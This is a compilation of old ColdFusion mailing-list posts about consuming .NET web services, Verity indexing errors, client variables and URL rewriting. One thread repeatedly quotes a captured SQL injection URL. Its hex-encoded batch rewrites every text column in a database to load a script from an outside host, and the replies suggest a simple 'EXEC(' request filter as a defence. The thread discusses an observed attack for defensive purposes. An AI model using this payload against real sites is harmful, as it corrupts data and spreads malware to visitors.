passing array from coldfusion to .NET web service
Having problem passing complex data (i.e. an array) to a web service authored
in .NET that expects data of type array.
Code:
h1passing array to web service/h1
cfparam name=arguments.strId default=1786850
cfset arguments.arrSubProdCollection = ArrayNew(1)
cfset variables.result = ArraySet(arguments.arrSubProdCollection,1,3, )
cfset arguments.arrSubProdCollection[1] = BASIC
cfset arguments.arrSubProdCollection[2] = CHAPT/CO
cfset arguments.arrSubProdCollection[3] = ME
cfdump var=#arguments# label=arguments
cfinvoke webservice=webservicesTestProcess_Membership
method=ProcessMemberIbo returnvariable=dummy
cfinvokeargument name=contactId value=#arguments.strId#
cfinvokeargument name=arrSubProdCollection
value=#arguments.arrSubProdCollection#
/cfinvoke
==
keep getting the famous error - Web service operation ProcessMemberIbo with
parameters {contactId={1786850},arrSubProdCollection={[BASIC, CHAPT/CO, ME]}}
cannot be found.
Have found this error message to be extremely misleading - really means the web
service being called is not receiving a parameter correctly. Found other
articles that document exact same phenomenon, but (unfortunately) no straight
forward work around.
Any ideas MUCH appreciated :) -j
~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j
Archive:
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:311530
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: (ot) URL Hack Attempt Leaves Me Scractching My Head...
Just was looking at a 'user monitor' page on one of my sites and I saw the url string below being called. I've seen several sql injection urls before, but what the heck are they trying to accomplish here? Eeverything is cfqueryparam'ed. Thanks, Che /rss.cfm?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861 72283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F 522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A65637473 20612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E 78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D33 35206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E20 5461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4375 72736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30 2920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40 432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D 22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D 2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C65 3E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A7322 3E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D2020546162 6C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F43 7572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S); ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309359 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: (ot) URL Hack Attempt Leaves Me Scractching My Head...
Even easier than monkeying with every single one of your cfquery's just add following line to the TOP of all your application.cfm's: cfif cgi.SCRIPT_NAME contains EXEC( OR cgi.PATH_INFO contains EXEC( OR cgi.QUERY_STRING contains EXEC(cfabort/cfif This will immediately shut down execution of any CFM that this piece of trash tries to invoke to execute this particular type of SQL for. peace, j Just was looking at a 'user monitor' page on one of my sites and I saw the url string below being called. I've seen several sql injection urls before, but what the heck are they trying to accomplish here? Eeverything is cfqueryparam'ed. Thanks, Che /rss.cfm?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861 72283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F 522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A65637473 20612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E 78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D33 35206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E20 5461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4375 72736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30 2920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40 432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D 22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D 2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C65 3E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A7322 3E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D2020546162 6C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F43 7572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S); ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309360 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Re: (ot) URL Hack Attempt Leaves Me Scractching My Head...
Just put the following line at the TOP of your application.cfm to innoculate your CF webs against this attack: cfif cgi.SCRIPT_NAME contains EXEC( OR cgi.PATH_INFO contains EXEC( OR cgi.QUERY_STRING contains EXEC(cfabort/cfif peace, j Just was looking at a 'user monitor' page on one of my sites and I saw the url string below being called. I've seen several sql injection urls before, but what the heck are they trying to accomplish here? Eeverything is cfqueryparam'ed. Thanks, Che /rss.cfm?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054207661726368617228323535292C404320766172636861 72283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F 522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A65637473 20612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E 78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D33 35206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E20 5461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4375 72736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30 2920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40 432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D 22687474703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D 2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C65 3E3C736372697074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A7322 3E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D2020546162 6C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F43 7572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000));EXEC(@S); ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:309364 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: vspider - collection not found
I am having the EXACT same problem... has anyone found a fix for this? Thx! -j Recently upgraded to CFMX 7 (7.02) and I cannot get the Vspider (which had been working fine on 6) to work. I've got it spidering localhost - it's adding documents. I go in to CF Admin and add the collection and it reports there are 27,000+ documents in it - but when I go to search it throws an error saying 'collection does not exist' ... Anyone seen this behavior before? Anyone using VSpider on CF7 - could you post the script you use to run it? Thanks! Jim ~| Enterprise web applications, build robust, secure scalable apps today - Try it now ColdFusion Today ColdFusion 8 beta - Build next generation apps Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:291342 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Verity Spider error - vgwhttp: http init failed
Trying to use Verity vspider to index dynamic content pages on my site (gr)... copied the style files from Adobe livedocs, followed directions, and get the following: E:\CFusionMX7\verity\k2\_nti40\bine:\CFusionMX7\verity\k2\_nti40\bin\vspider -s tyle e:\CFusionMX7\verity\Data\stylesets\ColdFusionVspider\ -collection e:\CFusi onMX7\verity\collections\smenew -start http://new.smenet.org/ -cgiok -abspath -r eparse -indmimeinclude text/* -indmimeexclude text/css vspider - Verity, Inc. Version K5.5.0 (_nti40, Sep 24 2004) 2007/09/04 14:53:50 Info: [vspider] (ind006000) Message database loaded from [E: \CFusionMX7\verity\k2\common\ind.msg]. 2007/09/04 14:53:50 ERROR: [vspider] (ind002006) VDK: Error E0-1514 (Drvr): Vg w:vgwhttp: Http Init failed. 2007/09/04 14:53:50 Warn: [vspider] (ind002006) VDK: WarnE3-0600 (Vgw): Driv er (vgwhttp) missing or undefined for collection e:\CFusionMX7\verity\collection s\smenew. 2007/09/04 14:53:50 ERROR: [vspider] (ind002006) VDK: Error E3-0602 (Vgw): Doc ument Access Gateway initialization failed for collection e:\CFusionMX7\verity\c ollections\smenew. 2007/09/04 14:53:50 FATAL: [vspider] (ind002100) Couldn't open VDK collection [e :\CFusionMX7\verity\collections\smenew] [-29]. IndExcept from indvdk.cxx:760 Progress: [vspider] (ind010020) Vspider summary: Submitted 0 documents for inse rt, 0 documents for deletion, 0 documents for update; Progress: [vspider] (ind010021) Vspider summary: Indexed 0 documents, Deleted 0 documents, 0 bad documents; Progress: [vspider] (ind010022) Vspider summary: Skipped 0 keys, including 0 du plicate documents rejected; Progress: [vspider] (ind010023) Vspider summary: Failed to fetch 0 keys. vspider done Any ideas? Thx! -j ~| ColdFusion is delivering applications solutions at at top companies around the world in government. Find out how and where now http://www.adobe.com/cfusion/showcase/index.cfm?event=finderproductID=1522loc=en_us Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:287732 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Gregorian date returned from consumed .NET web service
I am consuming a .NET based web service from CF7 using: cfinvoke webservice=http://sme.atsol.org/contacts.asmx?wsdl; method=getContact returnvariable=aResults cfinvokeargument name=contactID value=4145431/ /cfinvoke I am able to access the returned array, but the dates are apparently java objects and are in Gregorian calendar format. Is there an easy way to pull these into regular dates in standard CF variables? Thx! -j ~| Check out the new features and enhancements in the latest product release - download the What's New PDF now http://download.macromedia.com/pub/labs/coldfusion/cf8_beta_whatsnew_052907.pdf Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:284659 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Consuming web service returns Gregorian Calendar date
I am trying to consume a web service that was authored in .NET from my CF7 app... it returns several items in an array. I can read the text (strings) just fine, but the dates are coming back as Gregorian Calendar java objects. How in the world do I get that back into a date CF can understand :) Thx! -james ~| Download the latest ColdFusion 8 utilities including Report Builder, plug-ins for Eclipse and Dreamweaver updates. http;//www.adobe.com/cfusion/entitlement/index.cfm?e=labs%5adobecf8%5Fbeta Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:284660 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Consuming web service returns Gregorian Calendar date
I am trying to consume a web service that was authored in .NET from my CF7 app... it returns several items in an array. I can read the text (strings) just fine, but the dates are coming back as Gregorian Calendar java objects. How in the world do I get that back into a date CF can understand :) Thx! -james ~| Enterprise web applications, build robust, secure scalable apps today - Try it now ColdFusion Today ColdFusion 8 beta - Build next generation apps Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:284671 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Handling complex data returned from consumed .NET web service
I am having trouble figuring out how to access data returned from a web service I am consuming from my ColdFusion app. The web service is in .NET if that makes any difference. The web service is called getCountries and it should basically return a result set with a list of country codes (probably a numeric key) and country names. It appears that I am calling the service correctly and something is getting returned, but I cannot figure out how to get at it. I cannot CFDUMP it or figure out how to CFOUTPUT it either. Any help much appreciated! You can see the service description at: http://sme.atsol.org/lookups.asmx?op=getCountries My source is: cfinvoke webservice=http://sme.atsol.org/lookups.asmx?wsdl; method=getCountries returnvariable=aResults /cfinvoke cfdump var=#variables# label=variables cfdump var=#aResults# label=aResults ~| ColdFusion MX7 and Flex 2 Build sales marketing dashboard RIAâs for your business. Upgrade now http://www.adobe.com/products/coldfusion/flex2?sdid=RVJT Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:283660 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Handling complex data returned from consumed .NET web service
Thx for your reply! That returns: org.smenet.www.LookUps.Results Two questions: 1) Is there some way to utilize this response to get the actual output? 2) I couldn't find the ColdFusion docs for getClass() or getName() - is there a help file for these functions somewhere? Thx! -j ~| Create robust enterprise, web RIAs. Upgrade integrate Adobe Coldfusion MX7 with Flex 2 http://www.adobe.com/products/coldfusion/flex2/?sdid=RVJP Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:283664 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Handling complex data returned from consumed .NET web service
Worked perfectly!! Do you know if there is an easy way to move the info in the array to a regular ColdFusion query object? Thx! ~| Macromedia ColdFusion MX7 Upgrade to MX7 experience time-saving features, more productivity. http://www.adobe.com/products/coldfusion?sdid=RVJW Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:283672 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
Preferred clientstorage setting for client variables
What is the best way to store client variables? We are in the process of completely redesigning our website and considering changing the clientstorage attribute in cfapplication from a named SQL datasource to Cookie to prevent having 100,000's of records pile up on our SQL server. The primary use of this would really just be to allow the user to have their login status remembered so they would not have to log into our site every time. Any arguments one way or the other? Thx! -James Carberry ColdFusion MX Certified Developer and Instructor ~| Create Web Applications With ColdFusion MX7 Flex 2. Build powerful, scalable RIAs. Free Trial http://www.adobe.com/products/coldfusion/flex2/?sdid=RVJS Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:276262 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: New Features In Scorpio
Ben - Are there any screenshots available that depict the presentation layer appearance of the new ajaxified text editor? Thx! -j Yep, you are going to need cfform for this, and any related from controls. And I know that many loathe cfform because of the JavaScript it created way back when, but if you've not looked at it in a while, do so. It's not the same animal, and is far more usable and configurable than is used to be. Of course, it is not for everyone, just as the embedded rich text editor is not for everyone. There will always be CF developers who want more control and who thus prefer to do things themselves, but for many CFers, cfform is a great set of shortcuts. --- Ben -Original Message- From: Andy Matthews [mailto:[EMAIL PROTECTED] Sent: Thursday, March 22, 2007 11:18 AM To: CF-Talk Subject: RE: New Features In Scorpio While I'm really excited about this stuff, you realize this means you're going to have to use CFFORM to gain access to these new features. Does Adobe have any plans to allow these features to be used with plain HTML elements? Obviously you could simply view source and copy and paste, but it would be much nice to just use a function or something. Andy Matthews Senior Coldfusion Developer Office: 877.707.5467 x747 Direct: 615.627.9747 Fax: 615.467.6249 [EMAIL PROTECTED] www.dealerskins.com -Original Message- From: David Hannum [mailto:[EMAIL PROTECTED] Sent: Thursday, March 22, 2007 8:56 AM To: CF-Talk Subject: New Features In Scorpio Ben Forta just showed a demo at Spring lt;br /gt; Conference 2007 that Scorpio will include Ajax Wigits!!! He showed Text Field suggestion boxes, a calendar wigit and the mind blower was the Ajax Rich Text Editor!!! What a show! And we saw it first at Spring lt;br /gt; Conference 2007. Tim Buntel is showing it at MXDU on Friday Morning there, but that this afternoon here See, you should'a been at Spring br / Conference 2007 ~| Create robust enterprise, web RIAs. Upgrade integrate Adobe Coldfusion MX7 with Flex 2 http://www.adobe.com/products/coldfusion/flex2/?sdid=RVJP Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:273723 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Eliminating .cfm extensions in SES
I am on a quest to figure out a more seamless approach to Search Engine Safe (SES) URL's with ColdFusion. Several solutions I have seen achieve SES using a URL like http://www.myweb.com/targetpage.cfm/variable1/parameter1 What I want to achieve is the same result, but without having to give away that the page I am calling is CF by avoiding the telltale .cfm in the above example. So, it would be http://www.myweb.com/targetpage/variable1/parameter1 wherein targetpage is really a .cfm file. Is there any way to achieve this? Thx! ~| Deploy Web Applications Quickly across the enterprise with ColdFusion MX7 Flex 2 Free Trial http://www.adobe.com/products/coldfusion/flex2/?sdid=RVJU Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:273030 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Re: Eliminating .cfm extensions in SES
Yes, you would need to use url rewriting, either through apache with mod_rewrite, one of the third party plugins for IIS, or a custom 404 handler for cf. Russ Can you recommend any of these 3rd Party IIS plug ins? Thanks! -j ~| Upgrade to Adobe ColdFusion MX7 Experience Flex 2 MX7 integration create powerful cross-platform RIAs http://www.adobe.com/products/coldfusion/flex2/?sdid=RVJQ Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:273034 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
